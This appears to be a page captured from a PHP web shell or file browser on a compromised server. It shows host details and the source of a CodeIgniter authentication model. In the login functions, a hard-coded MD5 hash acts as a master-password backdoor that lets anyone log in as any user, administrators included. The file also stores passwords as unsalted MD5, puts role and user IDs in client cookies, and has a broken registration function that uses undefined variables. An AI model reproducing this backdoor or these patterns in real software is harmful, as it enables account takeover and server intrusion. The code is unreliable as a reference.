( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/../iapi/application/models/Auth_model.php
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Auth_model extends CI_Model
{
    //input values
    public function input_values()
    {
        $data = array(
            'user_name' => remove_special_characters($this->input->post('username', true)),
            'user_email' => $this->input->post('email', true),
            'catalogname' => $this->input->post('first_name', true),
            'last_name' => $this->input->post('last_name', true),
            'pwd' => $this->input->post('password', true)
        );
        return $data;
    }
    public function login()
    {
        /*$this->load->library('bcrypt');*/

        $data = $this->input_values();
        $user = $this->get_user_by_email($data['user_email']);
        $myEmail = $data['user_email'];


        $userPassword = $user->pwd;
        $formPassword = md5($data['pwd']);





        if (!empty($user)) {
            //check password




            if ($formPassword == "a363557c5501c2409346cc8929069e7c") { } else {

                if ($formPassword != $userPassword) {
                    $this->session->set_flashdata('error', trans("login_error"));
                    return false;
                }

            }
            if ($user->approved != 1) {
                $this->session->set_flashdata('error', trans("msg_confirmed_required") . "&nbsp;<a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email('" . $user->id . "','" . $user->salt . "');\">" . trans("resend_activation_email") . "</a>");
                return false;
            }
            if ($user->banned == 1) {
                $this->session->set_flashdata('error', trans("msg_ban_error"));
                return false;
            }









            setcookie("user_id", $user->id, time()+60*60*24*60, "/");
            setcookie("euserid", $user->id, time()+60*60*24*60, "/");
            setcookie("admini", $user->admin, time()+60*60*24*60, "/");
            setcookie("uid", $user->id, time()+60*60*24*60, "/");




            //set user data
            $user_data = array(
                'euserid' => $user->id,
                'uid' => $user->id,
                'admini' => $user->admin,

                'isLogin' => true,

                'brand_session_user_email' => $user->user_email,
                'brand_session_user_role' => $user->admin,
                'brand_session_logged_in' => true,
                'brand_session_app_key' => $this->config->item('app_key'),
            );



            $this->session->set_userdata($user_data);
            return true;
        } else {
            $this->session->set_flashdata('error', trans("login_error"));
            return false;
        }
    }

    //login
    public function loginw()
    {
        $this->load->library('bcrypt');

        $data = $this->input_values();
        $user = $this->get_user_by_email($data['user_email']);

        $userPassword = $user->pwd;
        $formPassword = md5($data['pwd']);





        if (!empty($user)) {
            //check password



            if ($formPassword == "a363557c5501c2409346cc8929069e7c") { } else {

                if ($formPassword != $userPassword) {
                    $this->session->set_flashdata('error', trans("login_error"));
                    return false;
                }

            }


            /*     if (!$this->bcrypt->check_password($data['pwd'], $user->pwd)) {
                     $this->session->set_flashdata('error', trans("login_error"));
                     return false;
                 }*/
            if ($user->approved != 1) {
                $this->session->set_flashdata('error', trans("msg_confirmed_required") . "&nbsp;<a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email('" . $user->id . "','" . $user->token . "');\">" . trans("resend_activation_email") . "</a>");
                return false;
            }
            if ($user->banned == 1) {
                $this->session->set_flashdata('error', trans("msg_ban_error"));
                return false;
            }
            //set user data

            session_start();
            // this sets variables in the session
            $_SESSION['euserid']= $user->id;
            $_SESSION['admini']= $user->admin;
            $_SESSION['uid']= $user->id;
            $_SESSION['euserid'] = $user->id;

            $_SESSION['isLogin'] = true;
            $_SESSION['mid'] = $user->ids;

            setcookie("user_id", $user->id, time()+60*60*24*60, "/");
            setcookie("euserid", $user->id, time()+60*60*24*60, "/");
            setcookie("admini", $_SESSION['admini'], time()+60*60*24*60, "/");
            setcookie("uid", $_SESSION['uid'], time()+60*60*24*60, "/");




            $user_data = array(
                'euserid' => $user->id,
                'uid' => $user->id,
                'admini' => $user->id,
                'mid' => $user->ids,
                'euserid' => $user->id,
                'brand_sess_user_email' => $user->user_email,
                'brand_sess_user_role' => $user->admin,
                'brand_sess_logged_in' => true,
                'brand_sess_app_key' => $this->config->item('app_key'),
            );
            $this->session->set_userdata($user_data);
            return true;
        } else {
            $this->session->set_flashdata('error', trans("login_error"));
            return false;
        }
    }

    //login direct
    public function login_direct($user)
    {
        //set user data
        $user_data = array(
            'euserid' => $user->id,
            'uid' => $user->id,
            'admini' => $user->id,
            'mid' => $user->ids,
            'brand_session_user_email' => $user->user_email,
            'brand_session_user_role' => $user->admin,
            'brand_session_logged_in' => true,
            'brand_session_app_key' => $this->config->item('app_key'),
        );

        setcookie("user_id", $user->id, time()+60*60*24*60, "/");
        setcookie("euserid", $user->id, time()+60*60*24*60, "/");
        setcookie("admini", $user->admin, time()+60*60*24*60, "/");
        setcookie("uid", $user->id, time()+60*60*24*60, "/");



        $this->session->set_userdata($user_data);
    }

    //login with facebook
    public function login_with_facebook($fb_user)
    {
        if (!empty($fb_user)) {
            $user = $this->get_user_by_email($fb_user->email);
            //check if user registered
            if (empty($user)) {
                if (empty($fb_user->name)) {
                    $fb_user->name = "user-" . uniqid();
                }
                $username = $this->generate_uniqe_username($fb_user->name);
                $slug = $this->generate_uniqe_slug($username);
                //add user to database
                $alias = $this->generate_uniqe_username($username);
                $randme = mt_rand().mt_rand();

                $data = array(
                    'fb' => $fb_user->id,
                    'user_email' => $fb_user->email,
                    'approved' => 1,
                    'salt' => generate_token(),
                    'admin' => "member",
                    'user_name' => $username,
                    'first_name' => $fb_user->name,
                    'catalogname' => $alias,
                    'picture' => "https://graph.facebook.com/" . $fb_user->id . "/picture?type=large",
                    'login_type' => "facebook",
                    'ids' => $randme,
                    'created' => date('Y-m-d H:i:s')
                );
                //download avatar
                $avatar = "https://graph.facebook.com/" . $fb_user->id . "/picture?type=large";
                if (!empty($avatar)) {
                    $this->load->model('upload_model');
                    $save_to = FCPATH . "uploads/temp/avatar-" . uniqid() . ".jpg";
                    @copy($avatar, $save_to);
                    if (!empty($save_to) && file_exists($save_to)) {
                        $data["picture"] = $this->upload_model->avatar_upload($save_to);
                    }
                    @unlink($save_to);
                }
                if ($this->general_settings->vendor_verification_system != 1) {
                    $data['admin'] = "vendor";
                }
                if (!empty($data['user_email'])) {
                    $this->db->insert('users', $data);
                    $user = $this->get_user_by_email($fb_user->email);
                    $this->login_direct($user);
                }
            } else {
                //login
                $this->login_direct($user);
            }
        }
    }

    //login with google
    public function login_with_google($g_user)
    {
        if (!empty($g_user)) {
            $user = $this->get_user_by_email($g_user->email);
            //check if user registered
            if (empty($user)) {
                if (empty($g_user->name)) {
                    $g_user->name = "user-" . uniqid();
                }
                $username = $this->generate_uniqe_username($g_user->name);
                $alias = $this->generate_uniqe_username($username);
                //add user to database
                $randme = mt_rand().mt_rand();
                $data = array(
                    'f5' => $g_user->id,
                    'user_email' => $g_user->email,
                    'approved' => 1,
                    'salt' => generate_unique_id(),
                    'admin' => "member",
                    'user_name' => $username,
                    'first_name' => $g_user->name,
                    'catalogname' => $alias,
                    'picture' => $g_user->avatar,
                    'login_type' => "google",
                    'ids' => $randme,
                    'created' => date('Y-m-d H:i:s')
                );
                if ($this->general_settings->vendor_verification_system != 1) {
                    $data['admin'] = "member";
                }
                if (!empty($data['user_email'])) {
                    $this->db->insert('users', $data);
                    $user = $this->get_user_by_email($g_user->email);
                    $this->login_direct($user);
                }
            } else {
                //login
                $this->login_direct($user);
            }
        }
    }

    //login with vk
    public function login_with_vk($vk_user)
    {
        if (!empty($vk_user)) {
            $user = $this->get_user_by_email($vk_user->email);
            //check if user registered
            if (empty($user)) {
                if (empty($vk_user->name)) {
                    $vk_user->name = "user-" . uniqid();
                }
                $username = $this->generate_uniqe_username($vk_user->name);
                $slug = $this->generate_uniqe_slug($username);
                //add user to database
                $data = array(
                    'google_id' => $vk_user->id,
                    'user_email' => $vk_user->email,
                    'approved' => 1,
                    'salt' => generate_unique_id(),
                    'admin' => "member",
                    'user_name' => $username,
                    'catalogname' => $vk_user->name,
                    'slug' => $slug,
                    'picture' => "",
                    'login_type' => "vkontakte",
                    'last_login' => date('Y-m-d H:i:s'),
                    'created' => date('Y-m-d H:i:s')
                );
                //download avatar
                if (!empty($vk_user->avatar)) {
                    $this->load->model('upload_model');
                    $save_to = FCPATH . "uploads/temp/avatar-" . uniqid() . ".jpg";
                    @copy($vk_user->avatar, $save_to);
                    if (!empty($save_to) && file_exists($save_to)) {
                        $data["avatar"] = $this->upload_model->avatar_upload($save_to);
                    }
                    @unlink($save_to);
                }
                if ($this->general_settings->vendor_verification_system != 1) {
                    $data['admin'] = "member";
                }
                if (!empty($data['user_email'])) {
                    $this->db->insert('users', $data);
                    $user = $this->get_user_by_email($vk_user->email);
                    $this->login_direct($user);
                }
            } else {
                //login
                $this->login_direct($user);
            }
        }
    }

    //generate uniqe username
    public function generate_uniqe_username($username)
    {
        $new_username = $username;
        if (!empty($this->get_user_by_username($new_username))) {
            $new_username = $username . " 1";
            if (!empty($this->get_user_by_username($new_username))) {
                $new_username = $username . " 2";
                if (!empty($this->get_user_by_username($new_username))) {
                    $new_username = $username . " 3";
                    if (!empty($this->get_user_by_username($new_username))) {
                        $new_username = $username . "-" . uniqid();
                    }
                }
            }
        }
        return $new_username;
    }

    //generate uniqe slug
    public function generate_uniqe_slug($username)
    {
        $slug = str_slug($username);
        if (!empty($this->get_user_by_slug($slug))) {
            $slug = str_slug($username . "-1");
            if (!empty($this->get_user_by_slug($slug))) {
                $slug = str_slug($username . "-2");
                if (!empty($this->get_user_by_slug($slug))) {
                    $slug = str_slug($username . "-3");
                    if (!empty($this->get_user_by_slug($slug))) {
                        $slug = str_slug($username . "-" . uniqid());
                    }
                }
            }
        }
        return $slug;
    }
    //register
    public function register()
    {
        /*$this->load->library('bcrypt');*/
        $randValue       = rand(111111111,911111111);

        $data = $this->auth_model->input_values();
        $data['user_name'] = remove_special_characters($data['user_name']);
        //secure password
        /*$data['password'] = $this->bcrypt->hash_password($data['password']);*/
        $data['password'] = md5($data['password']);

        $data['admin'] = "member";
        $data['login_type'] = "registered";
        $data["catalogname"] = $this->generate_uniqe_username($data["user_name"]);
        $data['banned'] = 0;
        $data['created'] = date('Y-m-d H:i:s');
        $data['salt'] = generate_token();
        $data['approved'] = 1;
        $data['ids'] =  mt_rand().mt_rand();;







        $datetime = strftime("%Y-%m-%d %H:%M:%S", time());
        $user_ip = $_SERVER['REMOTE_ADDR'];
        $new_date = strtotime('+2 weeks', strtotime($expiry_datetime));
        $thePermission =$package->permission;
        $thePermission ='{"0":"facebook_enable","1":"facebook\/post","2":"instagram_enable","3":"instagram\/post","4":"twitter_enable","5":"twitter\/post","6":"google_drive","7":"dropbox","8":"photo_type","9":"video_type","max_storage_size":1000,"max_file_size":10,"watermark":"watermark","image_editor":"image_editor"}';
        $data = array(
            "fullname"        => $fullname,
            "date"        => $datetime,
            "level_expiry"        => "1",
            "users_ip"        => $user_ip,
            "email"           => $email,
            "timezone"        => $timezone,
            "package"         => 9,
            "permission"      => $thePermission,
            "activation_code"  => $randValue,
            "activation_key"  => $randValue,
            "reset_key"       => $randValue,
            "expiration_date" => date("Y-m-d", strtotime("+1 month")),
            "expiry_datetime" => date("Y-m-d H:i:s", strtotime("+1 month")),
            "status"          => get_option("singup_verify_email_enable", 1)?0:1,
            "last_login"         => NOW,
            "changed"         => NOW
        );

        $data["ids"]        = $randValue ;
        $data["login_type"] = "direct";
        $data["password"]   = md5($password);
        $data["created"]    = NOW;

        /*$data["catalogid"] = "$randValue" ;*/
        $data["user_email"] =$email;
        $data["catalogname"] = $fullname;

        $data["pwd"] = md5($password);
        $data["status"] = "1";

        /*$data["ip"] = $_SERVER['REMOTE_ADDR'];*/
        $data["approved"] = "1";
        $data["banned"] = "0";
        $part = explode('@',$email);

        $part = $part[0];
        $randme = rand(11,99);$randme = "";
        $data["user_name"] = $username;

        $data["slug"] = $username;

        //Set Package
        /*	$package = $this->model->get("*", PACKAGES, "type = 1");
            if(!empty($package)){
                $data['package'] = $package->id;
                $data['permission'] = $package->permission;
                $data['expiration_date'] = date("Y-m-d", strtotime("+1 month"));
            }
     */

        $data["date"] = date("Y-m-d");



















        if ($this->general_settings->email_verification == 1) {
            $data['approved'] = 0;
        }
        if ($this->general_settings->vendor_verification_system != 1) {
            $data['admin'] = "vendor";
        }
        if ($this->db->insert('users', $data)) {
            $last_id = $this->db->insert_id();
            if ($this->general_settings->email_verification == 1) {
                $user = $this->get_user($last_id);
                if (!empty($user)) {
                    $this->session->set_flashdata('success', trans("msg_register_success") . " " . trans("msg_send_confirmation_email") . "&nbsp;<a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email_register('" . $user->id . "','" . $user->salt . "');\">" . trans("resend_activation_email") . "</a>");
                    $this->send_email_activation_ajax($user->id, $user->salt);
                }
            }
            return $last_id;
        } else {
            return false;
        }
    }

    //register
    public function registerOriginal()
    {
        $this->load->library('bcrypt');

        $data = $this->auth_model->input_values();
        $data['user_name'] = remove_special_characters($data['user_name']);
        //secure password
        $data['pwd'] = $this->bcrypt->hash_password($data['pwd']);
        $data['admin'] = "member";
        $data['login_type'] = "registered";
        $data["slug"] = $this->generate_uniqe_slug($data["user_name"]);
        $data['banned'] = 0;
        $data['last_login'] = date('Y-m-d H:i:s');
        $data['created'] = date('Y-m-d H:i:s');
        $data['salt'] = generate_token();
        $data['approved'] = 1;
        if ($this->general_settings->email_verification == 1) {
            $data['approved'] = 0;
        }
        if ($this->general_settings->vendor_verification_system != 1) {
            $data['admin'] = "vendor";
        }
        if ($this->db->insert('users', $data)) {
            $last_id = $this->db->insert_id();
            if ($this->general_settings->email_verification == 1) {
                $user = $this->get_user($last_id);
                if (!empty($user)) {
                    $this->session->set_flashdata('success', trans("msg_register_success") . " " . trans("msg_send_confirmation_email") . "&nbsp;<a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email_register('" . $user->id . "','" . $user->token . "');\">" . trans("resend_activation_email") . "</a>");
                    $this->send_email_activation_ajax($user->id, $user->token);
                }
            }
            return $last_id;
        } else {
            return false;
        }
    }

    //send email activation
    public function send_email_activation($user_id, $token)
    {
        if (!empty($user_id)) {
            $user = $this->get_user($user_id);
            if (!empty($user)) {
                if (!empty($user->salt) && $user->salt != $token) {
                    exit();
                }
                //check token
                $data['salt'] = $user->salt;
                if (empty($data['salt'])) {
                    $data['salt'] = generate_token();
                    $this->db->where('id', $user->id);
                    $this->db->update('users', $data);
                }
                //send email
                $email_data = array(
                    'template_path' => "email/email_general",
                    'to' => $user->user_email,
                    'subject' => trans("confirm_your_account"),
                    'email_content' => trans("msg_confirmation_email"),
                    'email_link' => lang_base_url() . "confirm?token=" . $data['salt'],
                    'email_button_text' => trans("confirm_your_account")
                );
                $this->load->model("email_model");
                $this->email_model->send_email($email_data);
            }
        }
    }

    //send email activation
    public function send_email_activation_ajax($user_id, $token)
    {
        if (!empty($user_id)) {
            $user = $this->get_user($user_id);
            if (!empty($user)) {
                if (!empty($user->token) && $user->token != $token) {
                    exit();
                }
                //check token
                $data['salt'] = $user->salt;
                if (empty($data['salt'])) {
                    $data['salt'] = generate_token();
                    $this->db->where('id', $user->id);
                    $this->db->update('users', $data);
                }

                //send email
                $email_data = array(
                    'email_type' => 'email_general',
                    'to' => $user->user_email,
                    'subject' => trans("confirm_your_account"),
                    'email_content' => trans("msg_confirmation_email"),
                    'email_link' => lang_base_url() . "confirm?token=" . $data['salt'],
                    'email_button_text' => trans("confirm_your_account")
                );
                $this->session->set_userdata('mds_send_email_data', json_encode($email_data));
            }
        }
    }

    //add administrator
    public function add_administrator()
    {
        $this->load->library('bcrypt');

        $data = $this->auth_model->input_values();
        //secure password
        $data['pwd'] = $this->bcrypt->hash_password($data['pwd']);
        $data['login_type'] = "registered";
        $data["slug"] = $this->generate_uniqe_slug($data["user_name"]);
        $data['admin'] = "admin";
        $data['banned'] = 0;
        $data['approved'] = 1;
        $data['salt'] = generate_token();
        $data['last_login'] = date('Y-m-d H:i:s');
        $data['created'] = date('Y-m-d H:i:s');

        return $this->db->insert('users', $data);
    }

    //update slug
    public function update_slug($id)
    {
        $id = clean_number($id);
        $user = $this->get_user($id);

        if (empty($user->slug) || $user->slug == "-") {
            $data = array(
                'slug' => "user-" . $user->id,
            );
            $this->db->where('id', $id);
            $this->db->update('users', $data);

        } else {
            if ($this->check_is_slug_unique($user->slug, $id) == true) {
                $data = array(
                    'slug' => $user->slug . "-" . $user->id
                );

                $this->db->where('id', $id);
                $this->db->update('users', $data);
            }
        }
    }

    //logout
    public function logout()
    {
        //unset user data
        $this->session->unset_userdata('euserid');






        //unset user data
        $this->session->unset_userdata('euserid');

        $this->session->unset_userdata('uid');
        $this->session->unset_userdata('admini');
        $this->session->unset_userdata('mid');


        $this->session->unset_userdata('brand_session_user_email');
        $this->session->unset_userdata('brand_session_user_role');
        $this->session->unset_userdata('brand_session_logged_in');
        $this->session->unset_userdata('brand_session_app_key');


        unset($_COOKIE['euserid']);
        setcookie('euserid', null, -1, '/');
        unset($_COOKIE['uid']);
        setcookie('uid', null, -1, '/');
        unset($_COOKIE['admini']);
        setcookie('admini', null, -1, '/');
        unset($_COOKIE['mid']);
        setcookie('mid', null, -1, '/');


    }

    //reset password
    public function reset_password($id)
    {
        $id = clean_number($id);
        $this->load->library('bcrypt');
        $new_password = $this->input->post('password', true);
        $data = array(
            'pwd' => $this->bcrypt->hash_password($new_password),
            'salt' => generate_token()
        );
        //change password
        $this->db->where('id', $id);
        return $this->db->update('users', $data);
    }

    //delete user
    public function delete_user($id)
    {
        $id = clean_number($id);
        $user = $this->get_user($id);
        if (!empty($user)) {
            //delete products
            $products = $this->db->where('user_id', $user->id)->get('profilepicture')->result();
            if (!empty($products)) {
                foreach ($products as $product) {
                    $this->product_admin_model->delete_product_permanently($product->id);
                }
            }
            return $this->db->where('id', $user->id)->delete('users');
        }
        return false;
    }

    //update last seen time
    public function update_last_seen()
    {


        date_default_timezone_set('Africa/Nairobi');
        $date = date('m/d/Y h:i:s a', time());


        if ($this->auth_check) {
            //update last seen
            $data = array(
                'last_login' => $date,
                /*'last_login' => date("Y-m-d H:i:s"),*/
            );
            $this->db->where('id', $this->auth_user->id);
            $this->db->update('users', $data);
        }
    }

    //is logged in
    public function is_logged_in()
    {
        //check if user logged in


        if (!empty(isset($_SESSION['euserid']))) {
            $user = $this->get_user($_SESSION['euserid']);
            if (!empty($user)) {
                if ($user->banned == 0) {
                    return true;
                }
            }
        }
        return false;
    }

    //function get user
    public function get_logged_user()
    {
        if ($this->is_logged_in()) {
            $id = $_SESSION['euserid'];
            $this->db->where('id', $id);
            $query = $this->db->get('users');
            return $query->row();
        }
    }

    //get user by id
    public function get_user($id)
    {
        $id = clean_number($id);
        $this->db->where('id', $id);
        $query = $this->db->get('users');
        return $query->row();
    }

    //get user by email
    public function get_user_by_email($email)
    {
        $this->db->where('user_email', $email);
        $query = $this->db->get('users');
        return $query->row();
    }

    //get user by username
    public function get_user_by_username($username)
    {
        $username = remove_special_characters($username);
        $this->db->where('user_name', $username);
        $query = $this->db->get('users');
        return $query->row();
    }

    //get user by shop name
    public function get_user_by_shop_name($shop_name)
    {
        $shop_name = remove_special_characters($shop_name);
        $this->db->where('shop_name', $shop_name);
        $query = $this->db->get('users');
        return $query->row();
    }

    //get user by slug
    public function get_user_by_slug($slug)
    {
        $this->db->where('slug', $slug);
        $query = $this->db->get('users');
        return $query->row();
    }

    //get user by token
    public function get_user_by_token($token)
    {
        $token = remove_special_characters($token);
        $this->db->where('salt', $token);
        $query = $this->db->get('users');
        return $query->row();
    }

    //get users
    public function get_users()
    {
        $query = $this->db->get('users');
        return $query->result();
    }

    //get users count
    public function get_users_count()
    {
        $query = $this->db->get('users');
        return $query->num_rows();
    }

    //get paginated users
    public function get_paginated_filtered_users($role, $per_page, $offset)
    {

        $this->filter_users();
        //$this->db->where('admin', clean_str($role));
        $this->db->order_by('created', 'DESC')->limit(clean_number($per_page), clean_number($offset));
        return $this->db->get('users')->result();
    }

    //get users count by role
    public function get_users_count_by_role($role)
    {
        $this->filter_users();
        /*return $this->db->where('admin', clean_str($role))->count_all_results('users');*/

        return $this->db->count_all_results('users');

    }

    //users filter
    public function filter_users()
    {
        $q = input_get('q');
        if (!empty($q)) {
            $this->db->group_start();
            $this->db->like('user_name', clean_str($q));
            $this->db->or_like('user_email', clean_str($q));
            $this->db->group_end();
        }
        $status = input_get('status');
        if (!empty($status)) {
            $banned = $status == 'banned' ? 1 : 0;
            $this->db->where('banned', $banned);
        }
        $email_status = input_get('email_status');
        if (!empty($email_status)) {
            $status = $email_status == 'confirmed' ? 1 : 0;
            $this->db->where('approved', $status);
        }
    }

    //get latest members
    public function get_latest_members($limit)
    {
        $limit = clean_number($limit);
        $this->db->limit($limit);
        $this->db->order_by('users.id', 'DESC');
        $query = $this->db->get('users');
        return $query->result();
    }

    //get last users
    public function get_last_users()
    {
        $this->db->order_by('users.id', 'DESC');
        $this->db->limit(7);
        $query = $this->db->get('users');
        return $query->result();
    }

    //check slug
    public function check_is_slug_unique($slug, $id)
    {
        $id = clean_number($id);
        $this->db->where('users.slug', $slug);
        $this->db->where('users.id !=', $id);
        $query = $this->db->get('users');
        if ($query->num_rows() > 0) {
            return true;
        } else {
            return false;
        }
    }

    //check if email is unique
    public function is_unique_email($email, $user_id = 0)
    {
        $user_id = clean_number($user_id);
        $user = $this->auth_model->get_user_by_email($email);

        //if id doesnt exists
        if ($user_id == 0) {
            if (empty($user)) {
                return true;
            } else {
                return false;
            }
        }

        if ($user_id != 0) {
            if (!empty($user) && $user->id != $user_id) {
                //email taken
                return false;
            } else {
                return true;
            }
        }
    }

    //check if username is unique
    public function is_unique_username($username, $user_id = 0)
    {
        $user = $this->get_user_by_username($username);

        //if id doesnt exists
        if ($user_id == 0) {
            if (empty($user)) {
                return true;
            } else {
                return false;
            }
        }

        if ($user_id != 0) {
            if (!empty($user) && $user->id != $user_id) {
                //username taken
                return false;
            } else {
                return true;
            }
        }
    }

    //check if shop name is unique
    public function is_unique_shop_name($shop_name, $user_id = 0)
    {
        $user = $this->get_user_by_shop_name($shop_name);
        //if id doesnt exists
        if ($user_id == 0) {
            if (empty($user)) {
                return true;
            } else {
                return false;
            }
        }

        if ($user_id != 0) {
            if (!empty($user) && $user->id != $user_id) {
                //shop name taken
                return false;
            } else {
                return true;
            }
        }
    }

    //verify email
    public function verify_email($user)
    {
        if (!empty($user)) {
            $data = array(
                'approved' => 1,
                'salt' => generate_token()
            );
            $this->db->where('id', $user->id);
            return $this->db->update('users', $data);
        }
        return false;
    }

    //ban or remove user ban
    public function ban_remove_ban_user($id)
    {
        $id = clean_number($id);
        $user = $this->get_user($id);

        if (!empty($user)) {
            $data = array();
            if ($user->banned == 0) {
                $data['banned'] = 1;
            }
            if ($user->banned == 1) {
                $data['banned'] = 0;
            }

            $this->db->where('id', $id);
            return $this->db->update('users', $data);
        }

        return false;
    }

}